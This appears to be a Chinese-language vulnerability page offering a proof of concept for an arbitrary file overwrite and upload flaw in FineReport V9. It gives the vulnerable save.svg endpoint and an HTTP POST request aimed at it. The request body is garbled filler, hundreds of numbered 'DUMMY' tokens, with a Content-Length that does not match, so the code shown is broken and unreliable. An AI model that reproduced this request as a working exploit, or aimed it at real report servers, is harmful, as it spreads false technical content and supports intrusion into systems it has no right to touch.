帆软 FineReport V9 design_save.svg 任意文件覆盖漏洞 POC

漏洞概述 漏洞名称: 帆软报表 V9 design_save.svg 任意文件覆盖文件上传 漏洞描述: 帆软 V9 存在文件上传漏洞，导致攻击者可以恶意文件上传。 影响范围: 帆软 V9 修复方案 修复建议: 未提供具体修复方案，建议关注官方更新或补丁。 POC 代码 ```http POST /ReportServer/c/report/design/save.svg HTTP/1.1 Host: 192.168.1.100 Content-Length: 14 Content-Type: application/x-www-form-urlencoded (. .DUMMY1); . .DUMMY2; . .DUMMY3; . .DUMMY4; . .DUMMY5; . .DUMMY6; . .DUMMY7; . .DUMMY8; . .DUMMY9; . .DUMMY10; . .DUMMY11; . .DUMMY12; . .DUMMY13; . .DUMMY14; . .DUMMY15; . .DUMMY16; . .DUMMY17; . .DUMMY18; . .DUMMY19; . .DUMMY20; . .DUMMY21; . .DUMMY22; . .DUMMY23; . .DUMMY24; . .DUMMY25; . .DUMMY26; . .DUMMY27; . .DUMMY28; . .DUMMY29; . .DUMMY30; . .DUMMY31; . .DUMMY32; . .DUMMY33; . .DUMMY34; . .DUMMY35; . .DUMMY36; . .DUMMY37; . .DUMMY38; . .DUMMY39; . .DUMMY40; . .DUMMY41; . .DUMMY42; . .DUMMY43; . .DUMMY44; . .DUMMY45; . .DUMMY46; . .DUMMY47; . .DUMMY48; . .DUMMY49; . .DUMMY50; . .DUMMY51; . .DUMMY52; . .DUMMY53; . .DUMMY54; . .DUMMY55; . .DUMMY56; . .DUMMY57; . .DUMMY58; . .DUMMY59; . .DUMMY60; . .DUMMY61; . .DUMMY62; . .DUMMY63; . .DUMMY64; . .DUMMY65; . .DUMMY66; . .DUMMY67; . .DUMMY68; . .DUMMY69; . .DUMMY70; . .DUMMY71; . .DUMMY72; . .DUMMY73; . .DUMMY74; . .DUMMY75; . .DUMMY76; . .DUMMY77; . .DUMMY78; . .DUMMY79; . .DUMMY80; . .DUMMY81; . .DUMMY82; . .DUMMY83; . .DUMMY84; . .DUMMY85; . .DUMMY86; . .DUMMY87; . .DUMMY88; . .DUMMY89; . .DUMMY90; . .DUMMY91; . .DUMMY92; . .DUMMY93; . .DUMMY94; . .DUMMY95; . .DUMMY96; . .DUMMY97; . .DUMMY98; . .DUMMY99; . .DUMMY100; . .DUMMY101; . .DUMMY102; . .DUMMY103; . .DUMMY104; . .DUMMY105; . .DUMMY106; . .DUMMY107; . .DUMMY108; . .DUMMY109; . .DUMMY110; . .DUMMY111; . .DUMMY112; . .DUMMY113; . .DUMMY114; . .DUMMY115; . .DUMMY116; . .DUMMY117; . .DUMMY118; . .DUMMY119; . .DUMMY120; . .DUMMY121; . .DUMMY122; . .DUMMY123; . .DUMMY124; . .DUMMY125; . .DUMMY126; . .DUMMY127; . .DUMMY128; . .DUMMY129; . .DUMMY130; . .DUMMY131; . .DUMMY132; . .DUMMY133; . .DUMMY134; . .DUMMY135; . .DUMMY136; . .DUMMY137; . .DUMMY138; . .DUMMY139; . .DUMMY140; . .DUMMY141; . .DUMMY142; . .DUMMY143; . .DUMMY144; . .DUMMY145; . .DUMMY146; . .DUMMY147; . .DUMMY148; . .DUMMY149; . .DUMMY150; . .DUMMY151; . .DUMMY152; . .DUMMY153; . .DUMMY154; . .DUMMY155; . .DUMMY156; . .DUMMY157; . .DUMMY158; . .DUMMY159; . .DUMMY160; . .DUMMY161; . .DUMMY162; . .DUMMY163; . .DUMMY164; . .DUMMY165; . .DUMMY166; . .DUMMY167; . .DUMMY168; . .DUMMY169; . .DUMMY170; . .DUMMY171; . .DUMMY172; . .DUMMY173; . .DUMMY174; . .DUMMY175; . .DUMMY176; . .DUMMY177; . .DUMMY178; . .DUMMY179; . .DUMMY180; . .DUMMY181; . .DUMMY182; . .DUMMY183; . .DUMMY184; . .DUMMY185; . .DUMMY186; . .DUMMY187; . .DUMMY188; . .DUMMY189; . .DUMMY190; . .DUMMY191; . .DUMMY192; . .DUMMY193; . .DUMMY194; . .DUMMY195; . .DUMMY196; . .DUMMY197; . .DUMMY198; . .DUMMY199; . .DUMMY200; . .DUMMY201; . .DUMMY202; . .DUMMY203; . .DUMMY204; . .DUMMY205; . .DUMMY206; . .DUMMY207; . .DUMMY208; . .DUMMY209; . .DUMMY210; . .DUMMY211; . .DUMMY212; . .DUMMY213; . .DUMMY214; . .DUMMY215; . .DUMMY216; . .DUMMY217; . .DUMMY218; . .DUMMY219; . .DUMMY220; . .DUMMY221; . .DUMMY222; . .DUMMY223; . .DUMMY224; . .DUMMY225; . .DUMMY226; . .DUMMY227; . .DUMMY228; . .DUMMY229; . .DUMMY230; . .DUMMY231; . .DUMMY232; . .DUMMY233; . .DUMMY234; . .DUMMY235; . .DUMMY236; . .DUMMY237; . .DUMMY238; . .DUMMY239; . .DUMMY240; . .DUMMY241; . .DUMMY242; . .DUMMY243; . .DUMMY244; . .DUMMY245; . .DUMMY246; . .DUMMY247; . .DUMMY248; . .DUMMY249; . .DUMMY250; . .DUMMY251; . .DUMMY252; . .DUMMY253; . .DUMMY254; . .DUMMY255; . .DUMMY256; . .DUMMY257; . .DUMMY258; . .DUMMY259; . .DUMMY260; . .DUMMY261; . .DUMMY262; . .DUMMY263; . .DUMMY264; . .DUMMY265; . .DUMMY266; . .DUMMY267; . .DUMMY268; . .DUMMY269; . .DUMMY270; . .DUMMY271; . .DUMMY272; . .DUMMY273; . .DUMMY274; . .DUMMY275; . .DUMMY276; . .DUMMY277; . .DUMMY278; . .DUMMY279; . .DUMMY280; . .DUMMY281; . .DUMMY282; . .DUMMY283; . .DUMMY284; . .DUMMY285; . .DUMMY286; . .DUMMY287; . .DUMMY288; . .DUMMY289; . .DUMMY290; . .DUMMY291; . .DUMMY292; . .DUMMY293; . .DUMMY294; . .DUMMY295; . .DUMMY296; . .DUMMY297; . .DUMMY298; . .DUMMY299; . .DUMMY300; . .DUMMY301; . .DUMMY302; . .DUMMY303; . .DUMMY304; . .DUMMY305; . .DUMMY306; . .DUMMY307; . .DUMMY308; . .DUMMY309; . .DUMMY310; . .DUMMY311; . .DUMMY312; . .DUMMY313; . .DUMMY314; . .DUMMY315; . .DUMMY316; . .DUMMY317; . .DUMMY318; . .DUMMY319; . .DUMMY320; . .DUMMY321; . .DUMMY322; . .DUMMY323; . .DUMMY324; . .DUMMY325; . .DUMMY326; . .DUMMY327; . .DUMMY328; . .DUMMY329; . .DUMMY330; . .DUMMY331; . .DUMMY332; . .DUMMY333; . .DUMMY334; . .DUMMY335; . .DUMMY336; . .DUMMY337; . .DUMMY338; . .DUMMY339; . .DUMMY340; . .DUMMY341; . .DUMMY342; . .DUMMY343; . .DUMMY344; . .DUMMY345; . .DUMMY346; . .DUMMY347; . .DUMMY348; . .DUMMY349; . .DUMMY350; . .DUMMY351; . .DUMMY352; . .DUMMY353; . .DUMMY354; . .DUMMY355; . .DUMMY356; . .DUMMY357; . .DUMMY358; . .DUMMY359; . .DUMMY360; . .DUMMY361; . .DUMMY362; . .DUMMY363; . .DUMMY364; . .DUMMY365; . .DUMMY366; . .DUMMY367; . .DUMMY368; . .DUMMY369; . .DUMMY370; . .DUMMY371;

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

帆软 FineReport V9 design_save.svg 任意文件覆盖漏洞 POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

帆软 FineReport V9 design_save.svg 任意文件覆盖漏洞 POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！